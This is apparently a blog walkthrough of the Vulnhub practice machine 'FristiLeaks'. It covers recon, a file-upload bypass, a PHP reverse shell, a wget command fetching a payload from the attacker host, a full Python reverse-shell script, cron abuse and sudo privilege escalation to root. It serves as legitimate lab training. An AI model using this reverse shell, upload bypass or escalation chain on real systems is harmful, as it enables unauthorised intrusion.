Welcome, readers! Today’s Vulnhub machine will be “FristiLeaks”

For those who are just joining us, Vulnhub provides intentionally-vulnerable virtual machines to help anyone gain practical hands-on experience in information security and network administration. It’s great practice for working on penetrating vulnerable hosts.

Recon

Naturally, I start off with an nmap scan:

root@kali:~# nmap -p- 192.168.128.138

Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-27 13:36 CDT
Nmap scan report for 192.168.128.138
Host is up (0.00038s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 327.20 seconds

HTTP doesn’t serve anything remarkable (just an info page) so I run dirb on it:

root@kali:~# dirb http://192.168.128.138/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Sep 27 13:47:09 2017
URL_BASE: http://192.168.128.138/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.128.138/ ----
+ http://192.168.128.138/cgi-bin/ (CODE:403|SIZE:210)                                                                                      
==> DIRECTORY: http://192.168.128.138/images/                                                                                              
+ http://192.168.128.138/index.html (CODE:200|SIZE:703)                                                                                    
+ http://192.168.128.138/robots.txt (CODE:200|SIZE:62)                                                                                     
                                                                                                                                           
---- Entering directory: http://192.168.128.138/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed Sep 27 13:47:28 2017
DOWNLOADED: 4612 - FOUND: 3

Ok, a few interesting things. What is in the robots.txt file?

root@kali:~# curl http://192.168.128.138/robots.txt
User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer

Some more directories, but they are also dead ends. I probe the HTTP options, and try to dissect the image files. Still nothing.

What could I be missing?

I take a step back and try to analyze the information at my disposal. After a little bit of Googling I learn that “sisi” and “fristi” are both beverages. (We don’t have them here in the USA) So, cola… sisi… beer.. All drinks. The FristiLeaks main page says “Keep Calm and Drink Fristi”. Perhaps it’s a clue?

root@kali:~# curl -iv http://192.168.128.138/fristi/ 
*   Trying 192.168.128.138...
* TCP_NODELAY set
* Connected to 192.168.128.138 (192.168.128.138) port 80 (#0)
> GET /fristi/ HTTP/1.1
> Host: 192.168.128.138
> User-Agent: curl/7.55.1
> Accept: */*
> 
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Wed, 27 Sep 2017 14:14:42 GMT
Date: Wed, 27 Sep 2017 14:14:42 GMT
< Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
< X-Powered-By: PHP/5.3.3
X-Powered-By: PHP/5.3.3
< Connection: close
Connection: close
< Transfer-Encoding: chunked
Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8

[...]

<center><h1> Welcome to #fristileaks admin portal</h1></center>

Nice! It appears this is the way in. Let’s try to get in.

Gaining a foothold

Looking at the HTML source, I notice a few things. First, some interesting comments:

<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->
</head>

There are indeed a couple large chunks of base64 encoded text in the page, some of it commented out:

<!-- 
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->

The page is storing image locations in base64 and then decoding them.
I replace the image being served with the commented out base64, and the page displays the text:

keKkeKKeKKeKkEkkEk

….Wat.

Remember the comment above? I left some junk in here to make testing easier. --eezeepz

This is probably that user’s password. I’ve seen several cases of users/admins/devs trying to “cleverly” hide sensitive info in base64. I attempt to log in with the credentials, and …

Login successful

upload file 

Fantastic! Not only are we into the application but the file upload function should make it simple to gain shell access.

Getting a shell

I first try to upload a php shell but the application blocks it. Only gif, png, jpeg are allowed.

There are many tricks to bypass these kinds of restrictions, some more sophisticated than others. In this case I simply rename the file from “shell.php” to “shell.php.gif” and the application takes it.

I then trigger the file:

root@kali:~# curl -iv http://192.168.128.138/fristi/uploads/php-reverse-shell.php.gif
*   Trying 192.168.128.138...
* TCP_NODELAY set
* Connected to 192.168.128.138 (192.168.128.138) port 80 (#0)
> GET /fristi/uploads/php-reverse-shell.php.gif HTTP/1.1
> Host: 192.168.128.138
> User-Agent: curl/7.55.1
> Accept: */*
> 

And receive my shell in a netcat listener:

root@kali:~# nc -v -lp 80
listening on [any] 80 ...
192.168.128.138: inverse host lookup failed: Unknown host
connect to [192.168.128.130] from (UNKNOWN) [192.168.128.138] 46460
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 10:44:10 up  1:12,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$ 

Low privilege shell access achieved!

Privilege Escalation

So far I am only running as the low privilege apache user:

sh-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

But there are other users on the host:

sh-4.1$ ls -l /home
ls -l /home
total 20
drwx------. 2 admin     admin      4096 Nov 19  2015 admin
drwx---r-x. 5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------  2 fristigod fristigod  4096 Nov 19  2015 fristigod

Interesting, the home directory for eezeepz is readable and executable.

I investigate the directory and find a file called “notes.txt”:

Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

So any command we specify in /tmp/runthis will get run, eh? Sounds good to me!

I download a reverse shell payload from my Kali box and save it to /tmp/runthis:

sh-4.1$ wget -O /tmp/reverse-shell.py http://192.168.128.130/reverse-shell.py
wget -O /tmp/reverse-shell.py http://192.168.128.130/reverse-shell.py
--2017-09-27 11:13:20--  http://192.168.128.130/reverse-shell.py
Connecting to 192.168.128.130:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 266 [text/plain]
Saving to: `/tmp/reverse-shell.py'

100%[======================================>] 266         --.-K/s   in 0s      

2017-09-27 11:13:20 (40.0 MB/s) - `/tmp/reverse-shell.py' saved [266/266]

This is the code I am using:

import os
import socket
import subprocess

host = '192.168.128.130'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/bash", "-i"])

I create the ‘runthis’ file:

sh-4.1$ echo '/usr/bin/python /tmp/reverse-shell.py' > /tmp/runthis
echo '/usr/bin/python /tmp/reverse-shell.py' > /tmp/runthis
sh-4.1$ 

I set up another netcat listener, and after a few moments, I receive my shell:

root@kali:~# nc -v -lp 80
listening on [any] 80 ...
192.168.128.138: inverse host lookup failed: Unknown host
connect to [192.168.128.130] from (UNKNOWN) [192.168.128.138] 51212
bash: no job control in this shell
[admin@localhost ~]$ 

Excellent. We have moved from no-privilege webserver user to an “admin”. Now to get root.

Getting to root

In the admin’s home directory I find some interesting files.

[admin@localhost ~]$ ls -l
ls -l
total 632
-rwxr-xr-x 1 admin     admin      45224 Nov 18  2015 cat
-rwxr-xr-x 1 admin     admin      48712 Nov 18  2015 chmod
-rw-r--r-- 1 admin     admin        737 Nov 18  2015 cronjob.py
-rw-r--r-- 1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rw-r--r-- 1 admin     admin        258 Nov 18  2015 cryptpass.py
-rwxr-xr-x 1 admin     admin      90544 Nov 18  2015 df
-rwxr-xr-x 1 admin     admin      24136 Nov 18  2015 echo
-rwxr-xr-x 1 admin     admin     163600 Nov 18  2015 egrep
-rwxr-xr-x 1 admin     admin     163600 Nov 18  2015 grep
-rwxr-xr-x 1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r-- 1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt

The cryptass.py file contains some EXTREME military grade encryption:

import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

Simply base64 encoding the string, reversing it, and then “encoding” it with the highly-advanced ROT13 cipher

The “cryptedpass.txt” and “whoisyourgodnow.txt” files contain strings which I assume has been “encrypted” with the python script.

[admin@localhost ~]$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
[admin@localhost ~]$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

I use a bit of python to simply flip the order of operations and uncover the plaintext:

root@kali:~# python
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64,codecs
>>> base64.b64decode(codecs.encode('mVGZ3O3omkJLmy2pcuTq'[::-1], 'rot13'))
'thisisalsopw123'
>>> base64.b64decode(codecs.encode('=RFn0AKnlMHMPIzpyuTI0ITG'[::-1], 'rot13'))
'LetThereBeFristi!'

Very nice. These look like passwords to me. But passwords to what?

I use the ‘LetThereBeFristi!’ to su to the user fristigod:

[admin@localhost ~]$ su - fristigod
su - fristigod
Password: LetThereBeFristi!

-bash-4.1$ whoami
whoami
fristigod

Wonderful. What access does this user have?

-bash-4.1$ sudo -l
sudo -l
[sudo] password for fristigod: LetThereBeFristi!

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
-bash-4.1$ 

I poke at this binary a bit:

sh-4.1$ /var/fristigod/.secret_admin_stuff/doCom --help
/var/fristigod/.secret_admin_stuff/doCom --help
Nice try, but wrong user ;)

Interesting. I look into fristigod’s bash history, maybe it will hold the key?

sh-4.1$ cat ~/.bash_history
cat ~/.bash_history
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

I see! If you notice our sudoer permissions, it says we may only run it as “fristi”. I test this out and see that we can easily get root:

-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
sudo -u fristi ./doCom /bin/bash
bash-4.1# id
id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Awesome. I go ahead and enter the root fully, and grab the flag:

bash-4.1# su - root
[root@localhost ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@localhost ~]# cat /root/fristileaks_secrets.txt
cat /root/fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1

Final thoughts

Whew! That one was a blast. Teased us by hopping from different accounts but the payoff was worth it.

Thanks for reading. I should be posting more of these soon as well as some non-Vulnhub posts.

Stay tuned!

EOF